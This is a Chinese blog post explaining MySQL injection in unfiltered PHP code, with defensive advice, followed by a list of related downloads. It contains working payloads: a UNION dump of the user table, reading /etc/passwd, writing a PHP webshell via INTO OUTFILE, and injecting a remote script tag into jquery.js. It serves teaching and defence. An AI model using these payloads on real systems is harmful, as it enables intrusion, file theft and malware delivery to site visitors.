`

mysql注入之系统操作系统文件

 
阅读更多

mysql注入最典型的的场景莫过于不对参数进行过滤,比如典型的语句,选择一个用户信息显示php代码:

$sql = "select * from  user where id={$_GET['id']}";

用户只需要在浏览器地址栏中网址后面的比如:id=23修改一下:

http://xxx.com/xxx?id=23 union all select * from user;

这就能筛选出所有用户了。

避免这类事情出现的方法自然是使用参数过滤,用数据库驱动接口中的mysql_real_escape_string可以解决这个问题。当然最稳妥的还是使用框架来写代码,框架已经对mysql注入进行了比较好的防范。但是,使用框架后一定要切记尽量不要评价sql语句,只要拼接,就要考虑注入问题。

这里要提出的是,mysql还有一个功能,它能加载文件显示,比如:

select load_file('/etc/passwd');

避免这个问题的方法自然是进行参数过滤。

 

它还能写入文件,比如:

select '<?php system(\'cat /etc/passwd\'); ?>' into outfile '/data/web/www/command.php';

这样,用户就可以从网址输入command.php访问页面,从而达到查看linux系统中用户信息的目的。当然,利用这个方式还可以给网站各个js注入代码。

避免这个问题产生的方法除了参数过滤以外,还可以让mysql运行在mysql用户下,网站文件则用apache用户或www用户等,并且不要简单的把所有文件权限设置为777。

windows用户就比较惨了,如果原生方法写代码,又不对参数进行过滤,那么往网站js中注入代码就是很简单的事情,比如:

select '<script src=\'http://xxxx.xxx.com/xxx.js\'>' into outfile 'D:\\web\\www\\htdocs\\js\\jquery.js';

这个语句将给jquery.js注入危险的js代码。当然还可以写一个php文件,然后执行它,这个文件则是想做什么都可以了,反正php文件是可以操作服务器文件的。

 

分享到:
评论

相关推荐

    php+mysql仓库管理系统

    功能特点(具体功能请实际操作系统):  ①产品列表  ②自动标语  ③出入库审批  ④留言管理  ⑤挂机模式订单自动提醒  ⑥防SQL注入安全    管理员初始帐号:mxszpt  密码:mxszpt 运行环境:...

    java项目源码基于ssm的宠物管理系统pet+mysql数据文件.zip

    html css js网页设计这个Java项目是一个基于SSM(Spring+SpringMVC+MyBatis)框架的宠物管理系统,附带有MySQL数据库文件。该项目提供了一个完整的宠物管理解决方案,适用于宠物相关等场景。 该项目的主要功能包括...

    java web项目源码基于ssm宠物预约挂号管理系统pet+mysql数据库文件.zip

    这个Java Web项目是一个基于SSM(Spring+SpringMVC+MyBatis)框架的宠物预约挂号管理系统,附带有SQL数据库文件。该项目提供了一个完整的宠物预约挂号管理解决方案,适用于宠物医院等场景。 该项目的主要功能包括:...

    Java毕业设计-基于SSM+MySQL的医院预约挂号系统源码+数据库.zip

    - 使用Spring框架管理系统的依赖注入和事务管理。 - 使用Spring MVC框架处理系统的请求和响应。 - 使用MyBatis框架进行数据库操作。 - 使用MySQL作为系统的数据库。 3. 系统开发: - 搭建SSM框架,并配置相应...

    JAVA毕业设计之springboot028房屋租赁系统(springboot+mysql)完整源码.zip

    通过这个毕业设计项目,你可以学习到如何使用Spring Boot和MySQL搭建一个完整的房屋租赁系统,了解前后端分离的开发模式,掌握数据库的设计和操作,以及熟悉常见的Web开发技术。请注意,以上是对该毕业设计项目的...

    SQL注入攻击与防御

    SQL注入是Internet上最危险、最有名的安全漏洞之一,本书是目前唯一一本专门致力于讲解SQL威胁的图书。本书作者均是专门研究SQL注入的安全专家,他们集众家之长,对应用程序的基本编码和升级维护进行全面跟踪,详细...

    SQL注入攻击与防御(安全技术经典译丛)

     7.4.3 在Oracle上运行操作系统命令  7.4.4 利用验证过的漏洞  7.5 本章小结  7.6 快速解决方案  7.7 常见问题解答 第8章 代码层防御  8.1 概述  8.2 使用参数化语句  8.2.1 Java中的参数化语句  ...

    PHP和MySQL Web开发第4版pdf以及源码

    12.2.1 从操作系统角度来保护MySQL 12.2.2 密码 12.2.3 用户权限 12.2.4 Web问题 12.3 获取更多关于数据库的信息 12.3.1 使用SHOW获取信息 12.3.2 使用DESCRIBE获取关于列的信息 12.3.3 用EXPLAIN理解查询...

    PHP和MySQL WEB开发(第4版)

    12.2.1 从操作系统角度来保护MySQL 12.2.2 密码 12.2.3 用户权限 12.2.4 Web问题 12.3 获取更多关于数据库的信息 12.3.1 使用SHOW获取信息 12.3.2 使用DESCRIBE获取关于列的信息 12.3.3 用EXPLAIN理解查询操作的工作...

    JAVA毕业设计之基于springboot的实习管理系统(springboot+mysql)完整源码.zip

    该系统采用了当前流行的微服务框架Spring Boot和数据库MySQL,为学校、企业以及学生提供了一个高效、便捷的实习管理平台。 技术栈: 后端:Spring Boot框架用于构建RESTful API,利用其自动配置、依赖注入等特性...

    Web计算机配件报价系统项目源码,Java语言,代码源文件,毕业设计

    该系统使用Java语言编写,并具有完整的代码源文件。它实现了一个用户友好的界面,其中包含了各种功能,例如注册、登录、商品搜索、加入购物车、付款等等。用户可以通过简单的操作来浏览不同品牌的电脑配件,如硬盘、...

    PHP和MySQL Web开发第4版

    12.2.1 从操作系统角度来保护MySQL 12.2.2 密码 12.2.3 用户权限 12.2.4 Web问题 12.3 获取更多关于数据库的信息 12.3.1 使用SHOW获取信息 12.3.2 使用DESCRIBE获取关于列的信息 12.3.3 用EXPLAIN理解查询...

    PHPDisk网盘系统UTF8版(V-Core系列) v7.0 build20140821.zip

    PHPDISK],(中国国家版权局着作权登记号2009SR056747),是国内最大的网络存储、云存储系统开发及服务提供商,长期专注于网络存储系统开发,是一套采用PHP和MySQL构建的网络硬盘(文件存储管理)系统,可替代传统的FTP...

    小型留言板论坛系统 v1.0 beta

    功能特点(更多功能请实际操作系统):①普通账户、管理员账户、超级管理员不同权限,操作功能不同②统计功能,统计有多少条留言,多少条回复③帐号设置,系统设置,用户设置④未回复留言置顶⑤可以指定帐号回复,其他...

    学生教师信息管理系统应用

    php mysql学生信息管理系统 一个简易的 Web 学生教师信息管理系统。主要功能包括管理者对学生信息、课程信息、选课信息、成绩信息和教师信息进行管理和操作,而学生和教师能查询自己的相关信息。为保证数据库运行...

    基于Java springboot的在线答疑系统文件源码+lw+ppt.zip

    数据库管理:用户可以通过本系统轻松实现对数据库中的数据进行管理和维护,包括增加、删除、修改数据等操作,并能够自定义查询语句进行高级查询。 数据可视化:本系统提供了多种数据可视化方式,如图表、报表等形式...

    公司内部销售管理系统 v1.0

    功能特点(更多功能请实际操作系统):①每日随机经典语录②每日数据统计③管理员和员工不同查看界面及功能④拜访客户登记表⑤签单客户登记表⑥每日客户资料登记表⑦权限管理⑧仿SQL注入安全管理员初始帐号:mxszpt ...

    wed安全 sqlmap 扫描

    获取系统权限:在某些情况下,sqlmap 可以帮助获取操作系统级别的权限。 会话劫持:利用 SQL 注入漏洞进行会话劫持。 使用 sqlmap 时,用户通常需要提供一个或多个可能存在 SQL 注入的 URL。sqlmap 会尝试

    公司内部销售管理系统

    功能特点(更多功能请实际操作系统): ①每日随机经典语录 ②每日数据统计 ③管理员和员工不同查看界面及功能 ④拜访客户登记表 ⑤签单客户登记表 ⑥每日客户资料登记表 ⑦权限管理 ⑧仿SQL注入安全 管理员初始帐号...

    PHPDisk网盘系统GBK版(V-Core系列) v7.0 build20140821.zip

    PHPDISK],(中国国家版权局着作权登记号2009SR056747),是国内最大的网络存储、云存储系统开发及服务提供商,长期专注于网络存储系统开发,是一套采用PHP和MySQL构建的网络硬盘(文件存储管理)系统,可替代传统的FTP...

Global site tag (gtag.js) - Google Analytics